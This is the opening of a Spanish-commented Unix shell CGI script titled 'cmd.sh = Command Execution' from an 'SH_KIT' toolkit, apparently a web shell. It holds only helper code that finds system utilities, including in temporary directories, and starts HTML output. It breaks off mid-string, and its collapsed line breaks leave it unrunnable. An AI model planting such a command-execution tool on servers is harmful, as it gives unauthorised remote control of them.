#!/bin/sh # # SH_KIT # # cmd.sh = Command Execution # # by: Ludoz # modified: 23/04/2004 # # Version 1.2 - 28/5/2003 # ### ### ### Configuracion ### ### # # sitios donde buscar ejecutables necesarios, sin la / posterior, separados por espacios # PATHS="/bin /usr/bin /sbin /usr/sbin /usr/local/bin /usr/local/sbin /usr/ucb /usr/libexec /tmp /usr/tmp /var/tmp ." ### ### ### La configuracion acaba aqui ### ### # # PATHs mas habituales de los 3 comandos base # TEST="/usr/bin/test" BASENAME="/bin/basename" DIRNAME="/usr/bin/dirname" # compruebo TEST, BASENAME y DIRNAME y si estan mal intento encontrarlas en el path y sino en PATHS if (eval $TEST \"1\" = \"1\" ); then TEST=$TEST else for i in $PATHS ; do TEST="$i/test" if (eval $TEST \"1\" = \"1\" ); then break fi done if (eval $TEST \"1\" = \"1\" ); then TEST=$TEST else TEST=test if (eval $TEST \"1\" = \"1\" ); then TEST=$TEST else TEST="" echo ERROR: No he encontrado TEST en el sitio especificado ni en el path echo exit fi fi fi if (eval $TEST \"`eval $BASENAME .`\" = \".\" ); then BASENAME=$BASENAME else for i in $PATHS ; do BASENAME="$i/basename" if (eval $TEST \"`eval $BASENAME .`\" = \".\" ); then break fi done if (eval $TEST \"`eval $BASENAME .`\" = \".\" ); then BASENAME=$BASENAME else BASENAME=basename if (eval $TEST \"`eval $BASENAME .`\" = \".\" ); then BASENAME=$BASENAME else BASENAME="" echo ERROR: No he encontrado BASENAME en el sitio especificado ni en el path echo exit fi fi fi if (eval $TEST \"`eval $DIRNAME .`\" = \".\" ); then DIRNAME=$DIRNAME else for i in $PATHS ; do DIRNAME="$i/dirname" if (eval $TEST \"`eval $DIRNAME .`\" = \".\" ); then break fi done if (eval $TEST \"`eval $DIRNAME .`\" = \".\" ); then DIRNAME=$DIRNAME else DIRNAME=dirname if (eval $TEST \"`eval $DIRNAME .`\" = \".\" ); then DIRNAME=$DIRNAME else DIRNAME="" echo ERROR: No he encontrado DIRNAME en el sitio especificado ni en el path echo exit fi fi fi #echo "Info: TEST: $TEST" #echo "Info: BASENAME: $BASENAME" #echo "Info: DIRNAME: $DIRNAME" if (eval $TEST -x \"/usr/bin/unalias\" ); then # si existe el comando: unalias * /usr/bin/unalias * else # si es interno: unalias -a unalias -a fi # # A partir de aqui deberia ser 100% multisistema # buscaexec () { BUSCAEXECRES="" if (eval $TEST -z \"$BUSCAEXECPAR\" ); then return; fi if (eval $TEST -x \"$BUSCAEXECPAR\" ); then BUSCAEXECRES=$BUSCAEXECPAR return; fi BUSCAEXECPAR=`eval $BASENAME $BUSCAEXECPAR` for i in $PATHS $PATH ; do if (eval $TEST -x \"$i/$BUSCAEXECPAR\" ); then BUSCAEXECRES="$i/$BUSCAEXECPAR" break fi done if (eval $TEST -n \"$BUSCAEXECRES\" ); then return; fi if (eval $TEST -z \"$WHICH\" ); then return; fi BUSCAEXECRES=`eval $WHICH $BUSCAEXECPAR` if (eval $TEST -n \"$BUSCAEXECRES\" ); then if (eval $TEST ! -x \"$BUSCAEXECRES\" ); then BUSCAEXECRES="" fi fi } # # Definicion de comandos concretos para el script # WHICH="" BUSCAEXECPAR=/usr/bin/which buscaexec WHICH=$BUSCAEXECRES if (eval $TEST -z \"$WHICH\" ) ; then if (eval $TEST \"$TEST\" != \"test\" ) ; then TESTCMD=$TEST TESTRES="test" elif (eval $TEST \"$BASENAME\" != \"basename\" ) ; then TESTCMD=$BASENAME TESTRES="basename" elif (eval $TEST \"$BASEDIR\" != \"basedir\" ) ; then TESTCMD=$BASEDIR TESTRES="basename" fi if (eval $TEST -n \"$TESTCMD\"); then OLDPATH=$PATH TESTPATH="`eval $BASEDIR $TESTCMD`" PATH="$TESTPATH:$PATH" TESTPATH="" PRUEBA="`eval $BASENAME \"\`which $TESTRES\`\" `" if (eval $TEST \"$PRUEBA\" = \"TESTRES\" ) ; then WHICH="`which which`" else WHICH="" fi PRUEBA="" PATH=$OLDPATH OLDPATH="" TESTRES="" TESTCMD="" fi fi BUSCAEXECPAR=/bin/echo buscaexec ECHO=$BUSCAEXECRES if (eval $TEST -z \"$ECHO\" ) ; then ECHO=echo fi A="`eval $ECHO \"a\"`" if (eval $TEST \"$A\" = \"a\" ) ; then ECHO=$ECHO else ECHO="" #nota mental: para que hago echo si echo no funciona!? :) echo ERROR: No he encontrado ECHO en el sitio especificado ni en el path echo exit fi A="" BUSCAEXECPAR=/bin/cut buscaexec CUT=$BUSCAEXECRES BUSCAEXECPAR=/bin/sed buscaexec SED=$BUSCAEXECRES BUSCAEXECPAR=/usr/bin/expr buscaexec EXPR=$BUSCAEXECRES FORMULARIO="`eval $BASENAME $0`" eval $ECHO \"Content-type: text/html\" eval $ECHO eval $ECHO \"\\
\